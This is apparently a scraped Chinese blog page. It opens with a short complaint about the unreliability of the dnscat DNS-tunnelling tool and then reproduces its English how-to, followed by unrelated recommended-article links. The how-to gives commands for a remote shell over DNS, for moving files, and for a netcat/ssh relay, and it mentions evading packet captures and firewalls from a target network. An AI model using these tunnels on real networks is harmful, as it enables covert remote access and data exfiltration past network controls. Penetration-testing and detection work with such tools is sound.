dnscat使用——整体感觉这个工具不完善,失败率很高,传文件时候没有完整性校验,我自己测试时通过域名转发失败,可能是其特征过于明显导致
git clone https://github.com/iagox86/nbtool
make
然后就可以按照下面的官方说明进行操作了。
我的感受:整体感觉这个工具不完善,失败率很高,传文件时候没有完整性校验,我自己测试时通过域名转发失败,可能是其特征过于明显导致(子域名里有dnscat关键字)。
How-to
If you're going to read one section, this is probably the best one. It'll answer the question, "what the heck do I do with dnscat?"
Starting a server
You can start a dnscat server that supports a single client by running:
dnscat --listen
Adding --multi enables a dnscat server to handle multiple simultaneous clients:
dnscat --listen --multi
While --multi is obviously more functional, it is also slightly more difficult to use and doesn't take as kindly to redirection (it takes a little bit of shell magic to make it useful; I don't recommend it). Every client that connects picks a unique session id, which is displayed before every message. To send messages to specific sessions, the outgoing messages also have to be prefixed with the session id. So, sessions look like this (the '(in)' and '(out)' are added for clarification):
(in) session1: This is some incoming data for the first session
(out) session2: This is outgoing data on second session
(in) session2: This is a response on the second connection
And so on. When --multi isn't being used, redirection can be used to read/write files, create relays, and so on, the same way netcat can.
Starting a client
Once a server is running, a client can connect to it. This can be done in one of two ways.
First, and the usage I recommend: if the server is an authority for a domain name, you can use the --domain argument to provide the domain. Requests will be sent to the local dns server and will eventually be routed, through the DNS hierarchy, to the server. This is the best way to use dnscat, because it is very unlikely to be prevented. For more information, see the outline of Recursive Dns, above.
The second method is to send the dns messages directly from the client to the server using the --dns argument to specify the dnscat server address. This is useful for testing, and can fool simple packet captures and poorly conceived firewall rules, but isn't an ideal usage of dnscat.
By default, a random session id will be generated. If you run the dnscat server in --multi mode, you will likely want to use the --session argument on the client to give the sessions a more friendly name. No two sessions can share an id, though, and all names must be dns-friendly characters (letters and numbers).
To summarize, here are the two options for starting a client.
dnscat --domain skullseclabs.org
or
dnscat --dns 1.2.3.4
Where 'skullseclabs.org' is the domain that the dnscat server is the authority for, or '1.2.3.4' is the ip address of the dnscat server.
Examples
Simple server
As discussed above, a dnscat server can be started using the --listen argument:
dnscat --listen
Or, if multiple clients will connect, --multi can be given:
dnscat --listen --multi
Simple client
To start a dnscat client with an authoritative domain, use the following command:
dnscat --domain <domain>
For example:
dnscat --domain skullseclabs.org
And to start it without an authoritative domain, use this:
dnscat --dns <dnscat_server_address>
For example:
dnscat --domain 1.2.4.4
For more options, use --help:
dnscat --help
Remote shell
Typically, to tunnel a shell over DNS, you're going to want to run a standard server as before:
dnscat --listen
And run the shell on the client side:
Linux/BSD:
dnscat --domain skullseclabs.org --exec "/bin/sh"
Windows:
dnscat.exe --domain skullseclabs.org --exec "cmd.exe"
On the server, you can now type commands and they'll run on the client side.
Transfer a file
You can transfer a file to the client from the server like this:
Server:
dnscat --listen > file.out Client:
dnscat --domain <domain> < file.in
You can change the direction that the file goes by switching around the redirects. To transfer from the server to the client, do this:
Server:
dnscat --listen < file.in Client:
dnscat --domain <domain> > file.out
A couple things to note:
- No integrity checking is performed
- There is currently no indication when a transfer is finished
Tunnel another connection
This is my favourite thing to do, and it works really slick. You can use netcat to open a port-to-port tunnel through dnscat. I like this enough that I'm going to add netcat-like arguments in the next version.
Let's say that the client can connect to an ssh server on 192.168.2.100. The server is on an entirely different network and normally has no access to 192.168.2.100. The whole situation is a little confusing because we want the dnscat client to connect to the ssh server (presumably, in real life, we'd be able to get a dnscat client on a target network, but not a dnscat server). "client" and "server" are such ancient terms anyways. I prefer to look at them as the sender and the receiver.
A diagram might help:
ssh client
|
| (port 1234 via netcat)
|
v
dnscat server
^
|
| (DNS server(s))
|
dnscat client
|
| (port 22 via netcat)
|
v
ssh server
It's like a good ol' fashioned double netcat relay. Ed Skoudis would be proud. :)
First, we start the netcat server. The server is going to run netcat, which listens on port 1234:
dnscat --listen --exec "nc -l -p 1234"
If you connect to that host on port 1234, all data will be forwarded across DNS to the dnscat client.
Second, on the client side, dnscat connects to 192.168.2.100 port 22:
dnscat --domain skullseclabs.org --exec "nc 192.168.2.100 22"
This connects to 192.168.2.100 on port 22. The input/output will both be sent across DNS back to the dnscat server, which will then send the traffic to whomever is connected on TCP/1234.
Third and finally, we ssh to our socket:
ssh -p 1234 ron@127.0.0.1
Alternatively, if available you can also use the ssh -o ProxyCommand option which avoids the need for nc on the client:
ssh -o ProxyCommand="./dnscat --domain skullseclabs.org" root@localhost
One thing to note: at the moment, doing this is slooooow. But it works, and it's really, really cool!
dnscat使用——整体感觉这个工具不完善,失败率很高,传文件时候没有完整性校验,我自己测试时通过域名转发失败,可能是其特征过于明显导致的更多相关文章
- 接口测试工具postman(八)上传文件接口
涉及到选择文件的接口,在[Body]页签下,key选择File选项,会显示“选择文件”按钮,选择本地的文件
- 工具系列 | 使用FormData方式上传文件
服务端代码 /** * 文件上传 */ public function uploadFile() { Log::error('文件上传 : '.json_encode($_FILES)); $dir ...
- SpringBoot + Vue + ElementUI 实现后台管理系统模板 -- 后端篇(五): 数据表设计、使用 jwt、redis、sms 工具类完善注册登录逻辑
(1) 相关博文地址: SpringBoot + Vue + ElementUI 实现后台管理系统模板 -- 前端篇(一):搭建基本环境:https://www.cnblogs.com/l-y-h/p ...
- 带你开发一款给Apk中自动注入代码工具icodetools(完善篇)【申明:来源于网络】
带你开发一款给Apk中自动注入代码工具icodetools(完善篇)[申明:来源于网络] 带你开发一款给Apk中自动注入代码工具icodetools(完善篇):http://blog.csdn.net ...
- 高可用的Spring FTP上传下载工具类(已解决上传过程常见问题)
前言 最近在项目中需要和ftp服务器进行交互,在网上找了一下关于ftp上传下载的工具类,大致有两种. 第一种是单例模式的类. 第二种是另外定义一个Service,直接通过Service来实现ftp的上 ...
- MD5工具类,提供字符串MD5加密、文件MD5值获取(校验)功能
MD5工具类,提供字符串MD5加密(校验).文件MD5值获取(校验)功能 : package com.yzu.utils; import java.io.File; import java.io.Fi ...
- java http工具类和HttpUrlConnection上传文件分析
利用java中的HttpUrlConnection上传文件,我们其实只要知道Http协议上传文件的标准格式.那么就可以用任何一门语言来模拟浏览器上传文件.下面有几篇文章从http协议入手介绍了java ...
- Web---文件上传-用apache的工具处理、打散目录、简单文件上传进度
我们需要先准备好2个apache的类: 上一个博客文章只讲了最简单的入门,现在来开始慢慢加深. 先过渡一下:只上传一个file项 index.jsp: <h2>用apache的工具处理文件 ...
- 使用hexdump工具追踪EXT4文件系统中的一个文件
昨天追踪EXT4文件系统的过程中出了点问题,就是找不到文件,于是试了一下追踪FAT32文件系统的,成功之后有了点信心,今天继续嗑EXT4文件系统,终于找到啦,记录一下. 操作系统:linux(cent ...
随机推荐
- Docker 内部之间的网络连接
一.简介 内部网络连接的2中方式: Docker NetWorking (1.9版本之后推荐使用这个)和 Docker link(1.9 版本之前都使用这个) 推荐使用docker networkin ...
- CI中的分页
根据MVC的思想,分页是需要传数据到模型中,把页码传过去,在模型中根据页码分配: 更多分页类函数可以通过CI手册的分页类查看: $this -> load ->library('pagin ...
- 打开word2010每次都要配置进度的解决办法
作者:朱金灿 来源:http://blog.csdn.net/clever101 不小心把ms office2010搞坏了,于是重装ms office2010,结果一打开word文档时总是出现下面的对 ...
- JQuery学习笔记系列(一)----选择器详解
笔者好长时间没有更新过博客园的笔记了,一部分原因是去年刚刚开始工作一段时间忙碌的加班,体会了一种每天加班到凌晨的充实感,之后闲暇时间了也因为自己懒惰没有坚持记笔记的习惯,现在重新拾起来. 借用古人的一 ...
- MongoDB 博客截图之一
来源:十天掌握MongoDB之三:学会Find - 学吧网 - 专注于PHP资源分享
- Poj Maya Calendar
http://poj.org/problem?id=1008 Maya Calendar Time Limit: 1000MS Memory Limit: 10000K Total Submissio ...
- dotnetnuke7.3.3 下弹出对话框(dnnConfirm())的使用
今天用dnn做一个列表里边有一个删除操作,就想做个对话框确定是否删除? 正常理解马上想到js的confirm("")函数,但是发现Dnn把这个函数给重写啦,弹出的对话框竟然是英文的 ...
- VMware 虚拟化技术 创建虚拟机
原文地址:https://www.linuxidc.com/Linux/2017-03/141972.htm 云最成熟的架构是IaaS(Infrastructure as a Service),其中用 ...
- 破解sublim_Text3
1.更改hosts文件 windows系统的hosts文件在C:\Windows\System32\drivers\etc 路径下,其他系统请自行百度 在hosts文件中加入下面两行: 127.0.0 ...
- github配置单个及多个sshkey的操作方法
一.配置单个sshkey 配置SSHKey命令操作: git --version //检验git是否装好了 cd / cd ~/.ssh //到master目录下 ll //展示所有文件 ssh-ke ...